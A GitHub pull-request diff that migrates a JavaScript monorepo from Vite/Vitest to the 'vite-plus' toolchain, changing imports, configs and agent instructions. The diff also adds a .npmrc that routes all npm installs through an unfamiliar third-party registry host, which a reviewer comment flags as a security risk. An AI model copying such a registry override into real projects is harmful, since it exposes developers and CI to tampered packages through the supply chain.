Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .npmrc
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# pkg.pr.new registry bridge (added by test-pkg-pr-new-migrate.sh)
registry=https://pkg-pr-registry-bridge.render.vip/

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-high high

This .npmrc file configures a temporary registry bridge (https://pkg-pr-registry-bridge.render.vip/) to resolve commit-specific packages from pkg.pr.new. While this is necessary for testing the migration in this PR, committing this to the main branch is a security and reliability risk. Please ensure this file is removed before merging.

3 changes: 2 additions & 1 deletion .vscode/extensions.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
"styled-components.vscode-styled-components",
"sysoev.vscode-open-in-github",
"usernamehw.errorlens",
"wix.vscode-import-cost"
"wix.vscode-import-cost",
"VoidZero.vite-plus-extension-pack"
]
}
8 changes: 7 additions & 1 deletion .vscode/settings.json
Original file line number Diff line number Diff line change
Expand Up @@ -28,5 +28,11 @@
"typescript.updateImportsOnFileMove.enabled": "always",
"typescript.preferences.autoImportFileExcludePatterns": ["**/node_modules/vitest"],
"typescript.tsdk": "node_modules/typescript/lib",
"typescript.experimental.useTsgo": true
"typescript.experimental.useTsgo": true,
"editor.defaultFormatter": "oxc.oxc-vscode",
"[javascriptreact]": {
"editor.defaultFormatter": "oxc.oxc-vscode"
},
"oxc.fmt.configPath": "./vite.config.ts",
"editor.formatOnSaveMode": "file"
}
17 changes: 17 additions & 0 deletions AGENTS.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,20 @@
Run `vp run test:all` to verify changes.

Run `vp check --fix` to fix formatting and lint errors.

<!--VITE PLUS START-->

# Using Vite+, the Unified Toolchain for the Web

This project is using Vite+, a unified toolchain built on top of Vite, Rolldown, Vitest, tsdown, Oxlint, Oxfmt, and Vite Task. Vite+ wraps runtime management, package management, and frontend tooling in a single global CLI called `vp`. Vite+ is distinct from Vite, and it invokes Vite through `vp dev` and `vp build`. Run `vp help` to print a list of commands and `vp <command> --help` for information about a specific command.

Docs are local at `node_modules/vite-plus/docs` or online at https://viteplus.dev/guide/.

## Review Checklist

- [ ] Run `vp install` after pulling remote changes and before getting started.
- [ ] Run `vp check` and `vp test` to format, lint, type check and test changes.
- [ ] Check if there are `vite.config.ts` tasks or `package.json` scripts necessary for validation, run via `vp run <script>`.
- [ ] If setup, runtime, or package-manager behavior looks wrong, run `vp env doctor` and include its output when asking for help.

<!--VITE PLUS END-->
2 changes: 1 addition & 1 deletion example/client/vite.cloudflare.config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ import { reactCompilerPreset } from '@vitejs/plugin-react';
import { voidReact } from '@void/react/plugin';
import dotenv from 'dotenv';
import { fate } from 'react-fate/vite';
import type { PluginOption } from 'vite';
import type { PluginOption } from 'vite-plus';
import { defineConfig, lazyPlugins } from 'vite-plus';
import { voidPlugin } from 'void';

Expand Down
2 changes: 1 addition & 1 deletion example/client/vite.config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ import { reactCompilerPreset } from '@vitejs/plugin-react';
import { voidReact } from '@void/react/plugin';
import dotenv from 'dotenv';
import { fate } from 'react-fate/vite';
import type { PluginOption } from 'vite';
import type { PluginOption } from 'vite-plus';
import { defineConfig, lazyPlugins } from 'vite-plus';
import { voidPlugin } from 'void';

Expand Down
2 changes: 1 addition & 1 deletion example/client/vite.graphql.config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ import { reactCompilerPreset } from '@vitejs/plugin-react';
import { voidReact } from '@void/react/plugin';
import dotenv from 'dotenv';
import { fate } from 'react-fate/vite';
import type { PluginOption } from 'vite';
import type { PluginOption } from 'vite-plus';
import { defineConfig, lazyPlugins } from 'vite-plus';
import { voidPlugin } from 'void';

Expand Down
2 changes: 1 addition & 1 deletion example/cloudflare/tsconfig.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
"module": "ESNext",
"moduleResolution": "Bundler",
"target": "ES2022",
"types": ["vite/client"]
"types": ["vite-plus/client"]
},
"include": ["db/**/*.ts", "src/**/*.ts", "src/**/*.tsx"]
}
3 changes: 1 addition & 2 deletions example/server-graphql/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -51,8 +51,7 @@
"prisma-json-types-generator": "^5.1.0",
"ts-node": "^10.9.2",
"typescript": "^6.0.3",
"vite-plus": "catalog:",
"vitest": "catalog:"
"vite-plus": "catalog:"
},
"nodemonConfig": {
"ext": "tsx",
Expand Down
2 changes: 1 addition & 1 deletion example/void/tsconfig.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@
"module": "ESNext",
"moduleResolution": "Bundler",
"target": "ES2022",
"types": ["vite/client", "void/env"]
"types": ["vite-plus/client", "void/env"]
},
"include": [
".fate/**/*.ts",
Expand Down
2 changes: 1 addition & 1 deletion example/void/vite.config.ts
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ import tailwindcss from '@tailwindcss/vite';
import { reactCompilerPreset } from '@vitejs/plugin-react';
import { voidReact } from '@void/react/plugin';
import { fate } from 'react-fate/vite';
import type { PluginOption } from 'vite';
import type { PluginOption } from 'vite-plus';
import { defineConfig, lazyPlugins } from 'vite-plus';
import { voidPlugin } from 'void';

Expand Down
2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -48,7 +48,7 @@
"@swc/core": "^1.15.40",
"@types/node": "^25.9.1",
"@typescript/native-preview": "7.0.0-dev.20260601.1",
"@vitest/coverage-v8": "4.1.8",
"@vitest/coverage-v8": "4.1.9",
"babel-plugin-react-compiler": "^1.0.0",
"dotenv": "^17.4.2",
"eslint-plugin-import-x": "^4.16.2",
Expand Down
2 changes: 1 addition & 1 deletion packages/create-fate/__tests__/templates.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ import { existsSync, mkdtempSync, readdirSync, readFileSync, rmSync } from 'node
import { tmpdir } from 'node:os';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { describe, expect, test } from 'vitest';
import { describe, expect, test } from 'vite-plus/test';

const packageRoot = dirname(dirname(fileURLToPath(import.meta.url)));
const builtinModules = new Set(['node:fs', 'node:path', 'node:url']);
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import { expect, test } from 'vitest';
import { expect, test } from 'vite-plus/test';

test('1 + 1', () => {
expect(1 + 1).toBe(2);
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import { expect, test } from 'vitest';
import { expect, test } from 'vite-plus/test';

test('1 + 1', () => {
expect(1 + 1).toBe(2);
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import { expect, test } from 'vitest';
import { expect, test } from 'vite-plus/test';

test('1 + 1', () => {
expect(1 + 1).toBe(2);
Expand Down
2 changes: 1 addition & 1 deletion packages/fate/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -75,7 +75,7 @@
"@trpc/client": "^11.17.0",
"@trpc/server": "^11.17.0",
"drizzle-orm": "^0.45.2",
"vite": "^8.0.16"
"vite": "catalog:"
},
"peerDependencies": {
"@trpc/client": "^11.6.0",
Expand Down
6 changes: 6 additions & 0 deletions packages/vue-fate/src/env.d.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,6 @@
declare module '*.vue' {
import type { DefineComponent } from 'vue';

const component: DefineComponent<Record<string, unknown>, Record<string, unknown>, unknown>;
export default component;
}
Loading
Loading